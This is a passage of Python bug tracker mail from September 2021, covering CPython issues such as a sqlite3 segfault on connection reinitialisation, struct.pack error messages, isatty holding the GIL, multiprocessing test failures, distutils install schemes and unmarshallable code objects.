Quoting Petr Viktorin in PR 27940, https://github.com/python/cpython/pull/27940#discussion_r703424148:

- db is not set to NULL if init fails.
- This segfaults for me:

  import sqlite3

  conn = sqlite3.connect(':memory:')
  conn.execute('CREATE TABLE foo (bar)')

  try:
      conn.__init__('/bad-file/')
  except sqlite3.OperationalError:
      pass

  conn.execute('INSERT INTO foo (bar) VALUES (1), (2), (3), (4)')


Other issues:
- reinitialisation is not handled gracefully
- __init__ is messy; members are initialised here and there


Suggested to reorder connection __init__ in logical groups to more easily handle errors:
  1. handle reinit
  2. open and configure database
  3. create statement LRU cache and weak ref cursor list
  4. initialise members in the order they're defined in connection.h
  5. set isolation level, since it's a weird case anyway

----------
components: Extension Modules
messages: 401248
nosy: erlendaasland, petr.viktorin
priority: normal
severity: normal
status: open
title: [sqlite3] cleanup and harden connection init
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 07:50:00 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Tue, 07 Sep 2021 11:50:00 +0000
Subject: [issue44860] sysconfig's posix_user scheme has different platlib
 value to distutils's unix_user
In-Reply-To: <1628346558.35.0.0800108572532.issue44860@roundup.psfhosted.org>
Message-ID: <1631015400.74.0.352195419814.issue44860@roundup.psfhosted.org>


Petr Viktorin  added the comment:

I believe everything is in order now.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 08:18:50 2021
From: report at bugs.python.org (Mark Dickinson)
Date: Tue, 07 Sep 2021 12:18:50 +0000
Subject: [issue45034] Improve struct.pack out of range error messages
In-Reply-To: <1630112525.53.0.10403701832.issue45034@roundup.psfhosted.org>
Message-ID: <1631017130.58.0.801006663561.issue45034@roundup.psfhosted.org>


Mark Dickinson  added the comment:


New changeset 8ca6b61e3fd7f1e2876126cee82da8d812c8462f by Nikita Sobolev in branch 'main':
bpo-45034: Fix how upper limit is formatted for `struct.pack("H", ...)` (GH-28178)
https://github.com/python/cpython/commit/8ca6b61e3fd7f1e2876126cee82da8d812c8462f


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 08:21:35 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Tue, 07 Sep 2021 12:21:35 +0000
Subject: [issue45111] whole website translation error
In-Reply-To: <1630920397.91.0.782714198576.issue45111@roundup.psfhosted.org>
Message-ID: <1631017295.97.0.813701913374.issue45111@roundup.psfhosted.org>


Eric V. Smith  added the comment:

Per PEP 545, you should probably raise this on the doc-sig mailing list (https://mail.python.org/mailman/listinfo/doc-sig), and/or one of the repos https://github.com/python/python-docs-zh-cn or https://github.com/python/python-docs-zh-cn.

I'm going to close this issue here, since there's no action item for core python. I'm going to call it a "third party" resolution, because that seems better than "not a bug", but I realize it doesn't really fit.

----------
nosy: +eric.smith
resolution:  -> third party
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 08:22:04 2021
From: report at bugs.python.org (daniel hahler)
Date: Tue, 07 Sep 2021 12:22:04 +0000
Subject: [issue36550] Avoid creating AttributeError exceptions in the debugger
In-Reply-To: <1554664547.38.0.626848411176.issue36550@roundup.psfhosted.org>
Message-ID: <1631017324.88.0.543180250249.issue36550@roundup.psfhosted.org>


daniel hahler  added the comment:

Given code like the following the try/except handling of Pdb (via `Cmd.onecmd`, see https://github.com/python/cpython/pull/4666) will mess with `sys.exc_info()`, which could be avoided:

```
try:
    raise ValueError()
except Exception as exc:
    e = exc
    __import__('pdb').set_trace()
```

```
% ./python t_issue36550.py
--Return--
> ?/t_issue36550.py(5)()->None
-> __import__('pdb').set_trace()
(Pdb) import sys; sys.exc_info()
(, AttributeError("'Pdb' object has no attribute 'do_import'"), )
```

The initial / better motivation was described in the original issue: with pdb++/pdbpp I want to display tracebacks/errors with errors that might occur via Pdb's prompt, where this then showed up as interfering with it.

(Sorry for not responding on https://github.com/python/cpython/pull/4666 earlier, but I think it is only part of this issue, and therefore it should not get closed, and also creating a new one instead does not sound useful to me, so please consider to re-open it instead.)

----------
versions: +Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 08:25:15 2021
From: report at bugs.python.org (Mark Dickinson)
Date: Tue, 07 Sep 2021 12:25:15 +0000
Subject: [issue45034] Improve struct.pack out of range error messages
In-Reply-To: <1630112525.53.0.10403701832.issue45034@roundup.psfhosted.org>
Message-ID: <1631017515.02.0.918227162384.issue45034@roundup.psfhosted.org>


Mark Dickinson  added the comment:

The out-of-range error messages for unsigned short and short have been fixed, thanks to Nikita Sobolev. They resulted from a rather odd use of the Py_STRINGIFY macro, which meant that not only were the messages obscure, but they differed from system to system: e.g., on my machine I get: "struct.error: ushort format requires 0 <= number <= (32767 *2 +1)", and "struct.error: short format requires (-32767 -1) <= number <= 32767", complete with the weird spacing.

There's still room for normalising the other messages and/or converting the limits to hex if anyone wants to provide a PR.

I'm unsure about using hex universally: while `0xffffffffffffffff` (or even better, `0xffff_ffff_ffff_ffff`) is definitely more useful than `18446744073709551615`, I think I'd still find `-128` more immediately readable than `-0x80`.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 08:37:40 2021
From: report at bugs.python.org (Eduardo Morales)
Date: Tue, 07 Sep 2021 12:37:40 +0000
Subject: [issue44869] MacOS Monterrey malloc issue
In-Reply-To: <1628479823.5.0.245309193527.issue44869@roundup.psfhosted.org>
Message-ID: <1631018260.42.0.905861750195.issue44869@roundup.psfhosted.org>


Eduardo Morales  added the comment:

Not sure if this is helpful, but I am attaching the MacOS bug log that is auto-generated when Python fails.

----------
Added file: https://bugs.python.org/file50267/bug.log

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 08:41:24 2021
From: report at bugs.python.org (Eduardo Morales)
Date: Tue, 07 Sep 2021 12:41:24 +0000
Subject: [issue44869] MacOS Monterrey malloc issue
In-Reply-To: <1628479823.5.0.245309193527.issue44869@roundup.psfhosted.org>
Message-ID: <1631018484.11.0.687178840124.issue44869@roundup.psfhosted.org>


Eduardo Morales  added the comment:

Also:

(base) ?  backend git:(development) ? PYTHONFAULTHANDLER=1 python3 server.py

CONFIG_FILE=../config/development.json
Python(27657,0x10839f600) malloc: *** error for object 0x7ffb4ac81d10: pointer being freed was not allocated
Python(27657,0x10839f600) malloc: *** set a breakpoint in malloc_error_break to debug
Fatal Python error: Aborted

Current thread 0x000000010839f600 (most recent call first):
  File "/Users/edumoralesibm/fantasy-football-health-dashboard/backend/server.py", line 26 in 
[1]    27657 abort      PYTHONFAULTHANDLER=1 python3 server.py

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 08:42:02 2021
From: report at bugs.python.org (Eduardo Morales)
Date: Tue, 07 Sep 2021 12:42:02 +0000
Subject: [issue44869] MacOS Monterrey malloc issue
In-Reply-To: <1628479823.5.0.245309193527.issue44869@roundup.psfhosted.org>
Message-ID: <1631018522.78.0.33907483522.issue44869@roundup.psfhosted.org>


Change by Eduardo Morales :


----------
versions: +Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 08:55:23 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 12:55:23 +0000
Subject: [issue17970] Mutlithread XML parsing cause segfault
In-Reply-To: <1368453158.92.0.142296100122.issue17970@psf.upfronthosting.co.za>
Message-ID: <1631019323.86.0.184419938167.issue17970@roundup.psfhosted.org>


Irit Katriel  added the comment:

I've reproduced the segfault on 3.11.

----------
nosy: +iritkatriel
versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.3, Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:06:25 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Tue, 07 Sep 2021 13:06:25 +0000
Subject: [issue42064] Convert sqlite3 to multi-phase initialisation (PEP 489)
In-Reply-To: <1602963425.44.0.576962569847.issue42064@roundup.psfhosted.org>
Message-ID: <1631019985.81.0.87903885428.issue42064@roundup.psfhosted.org>


Petr Viktorin  added the comment:


New changeset 979336de34e3d3f40cf6e666b72a618f6330f3c1 by Erlend Egeberg Aasland in branch 'main':
bpo-42064: Pass module state to trace, progress, and authorizer callbacks (GH-27940)
https://github.com/python/cpython/commit/979336de34e3d3f40cf6e666b72a618f6330f3c1


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:06:03 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 13:06:03 +0000
Subject: [issue21825] Embedding-Python example code from documentation crashes
In-Reply-To: <1403451208.28.0.571545120594.issue21825@psf.upfronthosting.co.za>
Message-ID: <1631019963.19.0.899980725148.issue21825@roundup.psfhosted.org>


Irit Katriel  added the comment:

3.4 is long out of maintenance, please create a new issue if you are seeing this problem on a current version (>= 3.9).

You are more likely to receive a response if you include a precise and complete description of the problem. For example, instead of saying "The example on your website", put a link to this example.   I'm not sure what the "multiply.py" script you mention is.   The less detective work a core dev needs to do just to understand the issue, the more likely they are to want to look into it.

----------
nosy: +iritkatriel
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:06:38 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Tue, 07 Sep 2021 13:06:38 +0000
Subject: [issue44991] [sqlite3] cleanup callbacks (GIL handling, naming, ...)
In-Reply-To: <1629810432.44.0.0891439205465.issue44991@roundup.psfhosted.org>
Message-ID: <1631019998.5.0.902493701069.issue44991@roundup.psfhosted.org>


Change by Petr Viktorin :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:07:17 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 13:07:17 +0000
Subject: [issue36550] Avoid creating AttributeError exceptions in the debugger
In-Reply-To: <1554664547.38.0.626848411176.issue36550@roundup.psfhosted.org>
Message-ID: <1631020037.51.0.577247782887.issue36550@roundup.psfhosted.org>


Irit Katriel  added the comment:

Reopened.

----------
resolution: rejected -> 
status: closed -> open
versions:  -Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:16:54 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 13:16:54 +0000
Subject: [issue45035] sysconfig's posix_home scheme has different platlib
 value to distutils's unix_home
In-Reply-To: <1630133002.18.0.922476282003.issue45035@roundup.psfhosted.org>
Message-ID: <1631020614.17.0.595616201499.issue45035@roundup.psfhosted.org>


Change by STINNER Victor :


----------
pull_requests: +26628
pull_request: https://github.com/python/cpython/pull/28204

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:19:02 2021
From: report at bugs.python.org (Vincent Michel)
Date: Tue, 07 Sep 2021 13:19:02 +0000
Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()"
In-Reply-To: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>
Message-ID: <1631020742.01.0.88548877413.issue44219@roundup.psfhosted.org>


Vincent Michel  added the comment:

My team ran into this issue while developing a fuse application too.

In an effort to help this issue move forward, I tried to list all occurrences of the `isatty` C function in the cpython code base. I found 14 of them.

9 of them are directly related to stdin/stdout/stderr, so it's probably not crucial to release the GIL for those occurrences:
- `main.c:stdin_is_interactive`
- `main.c:pymain_import_readline`
- `readline.c:setup_readline`
- `bltinmodule.c:builtin_input_impl` (x2)
- `frozenmain.c:Py_FrozenMain`
- `pylifecycle.c:Py_FdIsInteractive` (x2)
- `fileobject.c:stdprinter_isatty` (GIL is actually released for this one)

Out of the remaining 4, only 1 releases the GIL:
- `fileio.c:_io_FileIO_isatty_impl`: used for `FileIO.isatty`

Which gives 3 occurrences of non-stdstream specific usage of `isatty` that do not release the GIL:
- `posixmodule.c:os_isatty_impl`: used by `os.isatty`
- `fileutils.c:_Py_device_encoding`: used `TextIOWrapper.__init__`
- `fileutils.c:_Py_write_impl`: windows specific, issue #11395

The first one is used by `os.isatty` which means this call can also deadlock. I did manage to reproduce it with a simple fuse loopback file system: https://github.com/fusepy/fusepy/blob/master/examples/loopback.py

The second one is the one found by @smurfix and gets triggered when `io.open()` is used in text mode.

The third one only triggers on windows when writing more than 32767 bytes to a file descriptor. A comment points to issue #11395 (https://bugs.python.org/issue11395). Also, it seems from the function signature that this function might be called with or without the GIL held, which might cause the fix to be a bit more complicated than the first two use cases.

I hope this helps.

----------
nosy: +vxgmichel

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:19:04 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 13:19:04 +0000
Subject: [issue45052] WithProcessesTestSharedMemory.test_shared_memory_basics
 fails on Windows
In-Reply-To: <1630347688.96.0.848198201023.issue45052@roundup.psfhosted.org>
Message-ID: <1631020744.92.0.946866334861.issue45052@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:

This seem to have caused several errors that have manifested on the release of 3.10.0rc2:

test test_multiprocessing_fork failed -- Traceback (most recent call last):
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1239, in _dot_lookup
    return getattr(thing, comp)
AttributeError: module 'multiprocessing' has no attribute 'shared_memory'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/test/_test_multiprocessing.py", line 3818, in test_shared_memory_basics
    with unittest.mock.patch(
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1422, in __enter__
    self.target = self.getter()
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1609, in 
    getter = lambda: _importer(target)
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1252, in _importer
    thing = _dot_lookup(thing, comp, import_path)
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1242, in _dot_lookup
    return getattr(thing, comp)
AttributeError: module 'multiprocessing' has no attribute 'shared_memory'

0:09:11 load avg: 0.71 [231/427/1] test_multiprocessing_forkserver -- test_multiprocessing_fork failed (1 error) in 1 min 11 sec
test test_multiprocessing_forkserver failed -- Traceback (most recent call last):
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1239, in _dot_lookup
    return getattr(thing, comp)
AttributeError: module 'multiprocessing' has no attribute 'shared_memory'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/test/_test_multiprocessing.py", line 3818, in test_shared_memory_basics
    with unittest.mock.patch(
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1422, in __enter__
    self.target = self.getter()
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1609, in 
    getter = lambda: _importer(target)
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1252, in _importer
    thing = _dot_lookup(thing, comp, import_path)
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1242, in _dot_lookup
    return getattr(thing, comp)
AttributeError: module 'multiprocessing' has no attribute 'shared_memory'

0:11:11 load avg: 0.93 [232/427/2] test_multiprocessing_main_handling -- test_multiprocessing_forkserver failed (1 error) in 2 min
0:11:18 load avg: 1.09 [233/427/2] test_multiprocessing_spawn
test test_multiprocessing_spawn failed -- Traceback (most recent call last):
  File "/tmp/tmpu30qfjpr/installation/lib/python3.10/unittest/mock.py", line 1239, in _dot_lookup
    return getattr(thing, comp)
AttributeError: module 'multiprocessing' has no attribute 'shared_memory'

----------
nosy: +pablogsal

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:19:04 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 13:19:04 +0000
Subject: [issue45035] sysconfig's posix_home scheme has different platlib
 value to distutils's unix_home
In-Reply-To: <1630133002.18.0.922476282003.issue45035@roundup.psfhosted.org>
Message-ID: <1631020744.38.0.899808672194.issue45035@roundup.psfhosted.org>


STINNER Victor  added the comment:

See also the email on python-dev:
https://mail.python.org/archives/list/python-dev at python.org/thread/5UU6V2B3KBS4Z7OG5T7D6YQZASFNSBJM/

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:20:03 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 13:20:03 +0000
Subject: [issue44860] sysconfig's posix_user scheme has different platlib
 value to distutils's unix_user
In-Reply-To: <1628346558.35.0.0800108572532.issue44860@roundup.psfhosted.org>
Message-ID: <1631020803.77.0.31836528466.issue44860@roundup.psfhosted.org>


STINNER Victor  added the comment:

See also the email on python-dev:
https://mail.python.org/archives/list/python-dev at python.org/thread/5UU6V2B3KBS4Z7OG5T7D6YQZASFNSBJM/

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:22:50 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 13:22:50 +0000
Subject: [issue45035] sysconfig's posix_home scheme has different platlib
 value to distutils's unix_home
In-Reply-To: <1630133002.18.0.922476282003.issue45035@roundup.psfhosted.org>
Message-ID: <1631020970.98.0.372351233498.issue45035@roundup.psfhosted.org>


STINNER Victor  added the comment:

I wrote the PR 28204 to change the unix_home used by the distutils install command. Previous code:

        if sys.version_info >= (3, 9) and key == "platlib":
            # platlibdir is available since 3.9: bpo-1294959
            value = value.replace("/lib/", "/$platlibdir/")
        INSTALL_SCHEMES[main_key][key] = value

This code was added by:

commit 341e8a939aca6e9f59ffb0e6daee5888933694ed
Author: Lum?r 'Frenzy' Balhar 
Date:   Wed Apr 14 17:12:34 2021 +0200

    bpo-41282: (PEP 632) Load install schemes from sysconfig (GH-24549)

Modifying the unix_home was not the intended behavior.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:23:15 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 13:23:15 +0000
Subject: [issue44860] sysconfig's posix_user scheme has different platlib
 value to distutils's unix_user
In-Reply-To: <1628346558.35.0.0800108572532.issue44860@roundup.psfhosted.org>
Message-ID: <1631020995.4.0.475723245474.issue44860@roundup.psfhosted.org>


STINNER Victor  added the comment:

Let's continue the discussion for the unix_home scheme in bpo-45035.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:32:58 2021
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 07 Sep 2021 13:32:58 +0000
Subject: [issue38820] Make Python compatible with OpenSSL 3.0.0
In-Reply-To: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org>
Message-ID: <1631021578.01.0.522396837342.issue38820@roundup.psfhosted.org>


Change by Christian Heimes :


----------
pull_requests: +26629
pull_request: https://github.com/python/cpython/pull/28205

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:35:59 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 13:35:59 +0000
Subject: [issue45035] sysconfig's posix_home scheme has different platlib
 value to distutils's unix_home
In-Reply-To: <1630133002.18.0.922476282003.issue45035@roundup.psfhosted.org>
Message-ID: <1631021759.6.0.687890264486.issue45035@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:

I'm doing the release of 3.10.0rc2 as we speak. Please, review this ASAP or otherwise this PR will not be backported to 3.10.0 and will have to wait to 3.10.1 as per the devguide.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:41:37 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Tue, 07 Sep 2021 13:41:37 +0000
Subject: [issue45035] sysconfig's posix_home scheme has different platlib
 value to distutils's unix_home
In-Reply-To: <1630133002.18.0.922476282003.issue45035@roundup.psfhosted.org>
Message-ID: <1631022097.58.0.478450366345.issue45035@roundup.psfhosted.org>


Petr Viktorin  added the comment:

AFAICS: this is a bug, but in deprecated code. Not worth fixing in 3.11, and definitely not worth fixing in a RC, and .

People should stop using distutils, and those who can't won't be happy with changes to it. Consider that existing distutils issues on bpo were already auto-closed.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:42:19 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 13:42:19 +0000
Subject: [issue44348]
 test_exceptions.ExceptionTests.test_recursion_in_except_handler stack
 overflow on Windows debug builds
In-Reply-To: <1623145677.55.0.159722944157.issue44348@roundup.psfhosted.org>
Message-ID: <1631022139.55.0.394200535996.issue44348@roundup.psfhosted.org>


STINNER Victor  added the comment:


New changeset fb305092a5d7894b41f122c1a1117b3abf4c567e by Victor Stinner in branch 'main':
bpo-44348: BaseException deallocator uses trashcan (GH-28190)
https://github.com/python/cpython/commit/fb305092a5d7894b41f122c1a1117b3abf4c567e


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:42:51 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Tue, 07 Sep 2021 13:42:51 +0000
Subject: [issue45035] sysconfig's posix_home scheme has different platlib
 value to distutils's unix_home
In-Reply-To: <1630133002.18.0.922476282003.issue45035@roundup.psfhosted.org>
Message-ID: <1631022171.86.0.00877440719585.issue45035@roundup.psfhosted.org>


Petr Viktorin  added the comment:

(Sorry for the extra `and`; I hit Submit too soon)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:43:45 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 13:43:45 +0000
Subject: [issue44348]
 test_exceptions.ExceptionTests.test_recursion_in_except_handler stack
 overflow on Windows debug builds
In-Reply-To: <1623145677.55.0.159722944157.issue44348@roundup.psfhosted.org>
Message-ID: <1631022225.06.0.0894437766624.issue44348@roundup.psfhosted.org>


STINNER Victor  added the comment:

Even if Python 3.9 and 3.10 have the idea, I don't think that long exception chains are common enough to justify a backport. I prefer to leave the code as it it in stable branches, and see how things go with the change in the main branch. I close the issue.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions:  -Python 3.10, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:45:12 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 13:45:12 +0000
Subject: [issue45094] Consider using __forceinline and
 __attribute__((always_inline)) on static inline functions (Py_INCREF,
 Py_TYPE) for debug builds
In-Reply-To: <1630675600.0.0.104145127588.issue45094@roundup.psfhosted.org>
Message-ID: <1631022312.97.0.359855368073.issue45094@roundup.psfhosted.org>


STINNER Victor  added the comment:

Using __forceinline didn't fix test_exceptions: see https://bugs.python.org/issue44348#msg401185

Since I created the issue to fix bpo-44348 and it doesn't work, I close the issue.

Moreover, always inlining can have a negative impact on release builds.

----------
resolution:  -> rejected
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:47:19 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 13:47:19 +0000
Subject: [issue45115] Windows: enable compiler optimizations when building
 Python in debug mode
In-Reply-To: <1630941702.52.0.0278112507289.issue45115@roundup.psfhosted.org>
Message-ID: <1631022439.17.0.068712664608.issue45115@roundup.psfhosted.org>


STINNER Victor  added the comment:

Steve:
> I strongly disagree. If CI needs to be faster, please just change the CI configuration. If contributors have to wait a few minutes longer, they can wait - they'll save that time in local compilations.
> Local debugging absolutely relies on debug builds. You'd be destroying the workflow of most Windows-based developers with this change. It's not worth it.

Ok, I reject my issue.

I found a portable way to fix bpo-44348: it doesn't depend on the OS, nor the compiler, nor compiler options. The fix is to use the trashcan mecanism in the BaseException deallocator: commit fb305092a5d7894b41f122c1a1117b3abf4c567e.

----------
resolution:  -> rejected
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:48:01 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 13:48:01 +0000
Subject: [issue45119] test_signal.test_itimer_virtual() failed on AMD64 Fedora
 Rawhide 3.x: Linux kernel 5.15 regression
In-Reply-To: <1630948256.1.0.298507689656.issue45119@roundup.psfhosted.org>
Message-ID: <1631022481.23.0.192966457191.issue45119@roundup.psfhosted.org>


Change by STINNER Victor :


----------
title: test_signal.test_itimer_virtual() failed on AMD64 Fedora Rawhide 3.x -> test_signal.test_itimer_virtual() failed on AMD64 Fedora Rawhide 3.x: Linux kernel 5.15 regression

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:48:23 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 13:48:23 +0000
Subject: [issue34498] Python 3.7 breaks on
 singledispatch_function.register(pseudo_type), which Python 3.6 accepted
In-Reply-To: <1535199569.5.0.56676864532.issue34498@psf.upfronthosting.co.za>
Message-ID: <1631022503.64.0.883632820675.issue34498@roundup.psfhosted.org>


Irit Katriel  added the comment:

Reproduced on 3.11.

I've changed type because crash typically refers to segfault rather than an exception being raised.

----------
nosy: +iritkatriel
type: crash -> behavior
versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:48:55 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 13:48:55 +0000
Subject: [issue34498] Python 3.7+ break on
 singledispatch_function.register(pseudo_type), which Python 3.6 accepted
In-Reply-To: <1535199569.5.0.56676864532.issue34498@psf.upfronthosting.co.za>
Message-ID: <1631022535.51.0.700751970946.issue34498@roundup.psfhosted.org>


Change by Irit Katriel :


----------
title: Python 3.7 breaks on singledispatch_function.register(pseudo_type), which Python 3.6 accepted -> Python 3.7+ break on singledispatch_function.register(pseudo_type), which Python 3.6 accepted

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:54:12 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 07 Sep 2021 13:54:12 +0000
Subject: [issue45052] WithProcessesTestSharedMemory.test_shared_memory_basics
 fails on Windows
In-Reply-To: <1630347688.96.0.848198201023.issue45052@roundup.psfhosted.org>
Message-ID: <1631022852.29.0.343656562525.issue45052@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:

I'm planning to revert PR 28185 because this is blocking the release

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:55:50 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 13:55:50 +0000
Subject: [issue27658] python 3.5.2 built from source fails to install
 completely on Mac OS X 10.11.6. Crashes subsequently.
In-Reply-To: <1469917189.39.0.985531249644.issue27658@psf.upfronthosting.co.za>
Message-ID: <1631022950.42.0.818246436754.issue27658@roundup.psfhosted.org>


Irit Katriel  added the comment:

3.5 is long out of maintenance. I suggest we close this and look into it if the problem is reported for a newer version.

----------
nosy: +iritkatriel
resolution:  -> third party
status: open -> pending

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:57:18 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Tue, 07 Sep 2021 13:57:18 +0000
Subject: [issue45127] Code objects can contain unmarshallable objects
Message-ID: <1631023038.1.0.991246928913.issue45127@roundup.psfhosted.org>


New submission from Petr Viktorin :

The `replace` method of `code` allows setting e.g.
* co_filename to a subclass of str
* co_consts to an arbitrary tuple
and possibly more weird cases.

This makes code objects unmarshallable.

One way to create such a code object is to call `compileall.compile_file` with a str subclass as path. See the attached reproducers.

This hit pip, see: https://github.com/pypa/pip/pull/10358#issuecomment-914320728

----------
files: reproducer_replace.py
messages: 401277
nosy: petr.viktorin
priority: normal
severity: normal
status: open
title: Code objects can contain unmarshallable objects
Added file: https://bugs.python.org/file50268/reproducer_replace.py

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 09:57:30 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Tue, 07 Sep 2021 13:57:30 +0000
Subject: [issue45127] Code objects can contain unmarshallable objects
In-Reply-To: <1631023038.1.0.991246928913.issue45127@roundup.psfhosted.org>
Message-ID: <1631023050.48.0.199449280991.issue45127@roundup.psfhosted.org>


Change by Petr Viktorin :


Added file: https://bugs.python.org/file50269/reproducer_compileall.py

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:01:23 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Tue, 07 Sep 2021 14:01:23 +0000
Subject: [issue45127] Code objects can contain unmarshallable objects
In-Reply-To: <1631023038.1.0.991246928913.issue45127@roundup.psfhosted.org>
Message-ID: <1631023283.37.0.554928388357.issue45127@roundup.psfhosted.org>


Petr Viktorin  added the comment:

How to fix this? I guess:

* co_filename should be converted to an actual str, or reject subclasses with an exception
* for co_consts, the [marshal docs] could be updated to add code objects to "containers". The [code docs] already say co_consts "is a tuple containing the literals"; if someone's putting in non-literals they're voiding the warranty.

And so on for all other fields of code objects.

[marshal docs]: https://docs.python.org/3/library/marshal.html
[code docs]: https://docs.python.org/3.9/reference/datamodel.html#index-55

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 10:07:50 2021
From: report at bugs.python.org (Guido van Rossum)
